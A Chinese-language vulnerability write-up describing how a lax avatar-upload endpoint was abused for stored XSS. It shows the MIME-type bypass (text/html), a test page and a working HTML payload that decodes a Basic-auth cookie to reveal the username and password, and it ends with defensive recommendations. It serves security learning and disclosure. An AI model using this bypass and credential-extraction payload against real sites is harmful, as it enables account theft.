挖洞经验 | 头像上传构造存储型XSS技术分析
字数 1317 2025-08-15 21:31:11
存储型XSS漏洞利用技术分析:通过头像上传功能实现攻击
漏洞概述
本文详细分析了一种通过用户头像上传功能构造存储型XSS(跨站脚本攻击)的技术方法。攻击者利用目标站点对上传文件类型验证不严的缺陷,上传恶意HTML文件而非正常图片,进而实现存储型XSS攻击,最终可窃取用户的认证凭据。
漏洞发现过程
1. 目标功能定位
在测试某Web应用时,发现以下关键功能点:
- 用户设置项中存在头像上传功能
- 上传接口使用PATCH请求操作
- 图像数据以Base64编码形式通过JSON结构传输
2. 上传机制分析
请求参数分析:
ProfilePicture:Base64编码的图像数据ProfilePictureMIME:指定上传文件的MIME类型(原为image/png)
3. 文件类型绕过测试
测试人员尝试修改MIME类型:
- 改为
text/x-php和application/php:上传被拒绝 - 改为
text/html:上传成功
漏洞利用技术
1. 基本XSS测试
上传包含简单JavaScript的HTML文件:
<!DOCTYPE html>
<html>
<body>
<h1>Test</h1>
</body>
<script>alert(1);</script>
</html>
- 将文件Base64编码后替换
ProfilePicture参数值 - 修改
ProfilePictureMIME为text/html - 上传后可通过浏览器直接访问该HTML文件
2. 攻击场景分析
关键发现:
- 头像文件存储在与主站相同的域名下(同源)
- 无需特殊权限即可访问任意用户的头像文件
- 示例头像URL格式:
https://something.redacted.com/res/img/usermeta//551/USER_7025dffcf32e4097bebe7b530f9f1a5d.png?ts=1584857339
3. 认证信息窃取
目标站点认证机制:
- 使用HTTP Basic Authentication
- Cookie中包含Base64编码的认证信息(
AUTHH) - 该值与Authorization Header中的信息一致
示例Cookie:
Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=
4. 高级攻击载荷
构造窃取凭据的HTML文件:
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js"></script>
</head>
<body>
<h1>Password Display by bad5ect0r</h1>
<p>Your username is: <span id="uname"></span></p>
<p>Your password is: <span id="pass"></span></p>
</body>
<script>
$(document).ready(function () {
const AUTHH = Cookies.get('AUTHH');
const unb64 = atob(AUTHH);
const basic = unb64.split(' ');
const uname_pass = atob(basic[1]).split(':');
const user = uname_pass[0];
const pass = uname_pass[1];
$('#uname').html(user);
$('#pass').html(pass);
});
</script>
</html>
5. 攻击流程解析
- 获取Cookie中的
AUTHH值 - Base64解码
AUTHH值 - 分割解码后的字符串获取Basic认证部分
- 再次Base64解码认证部分
- 分割用户名和密码
- 将凭据显示在页面上
防御建议
1. 上传文件验证
- 实施严格的MIME类型检查,只允许图片类型(image/*)
- 检查文件内容而不仅依赖Content-Type
- 对上传文件进行重命名,避免直接执行
2. 认证安全
- 避免在Cookie中存储敏感认证信息
- 使用HttpOnly标志防止JavaScript访问Cookie
- 考虑使用更安全的认证方式替代Basic Auth
3. 访问控制
- 对用户上传的文件实施访问权限控制
- 考虑将用户上传内容存储在独立域名下(隔离同源策略)
4. 内容安全策略
- 实施CSP(Content Security Policy)限制脚本执行
- 禁止内联JavaScript执行
总结
本案例展示了如何通过以下步骤利用存储型XSS漏洞:
- 发现并绕过不严格的文件上传限制
- 上传恶意HTML文件而非正常图片
- 利用同源策略访问敏感Cookie信息
- 解码并窃取用户凭据
关键经验:当测试文件上传功能时,如果无法上传Webshell,尝试上传HTML文件可能发现XSS漏洞。这种攻击方式常被忽视但危害严重。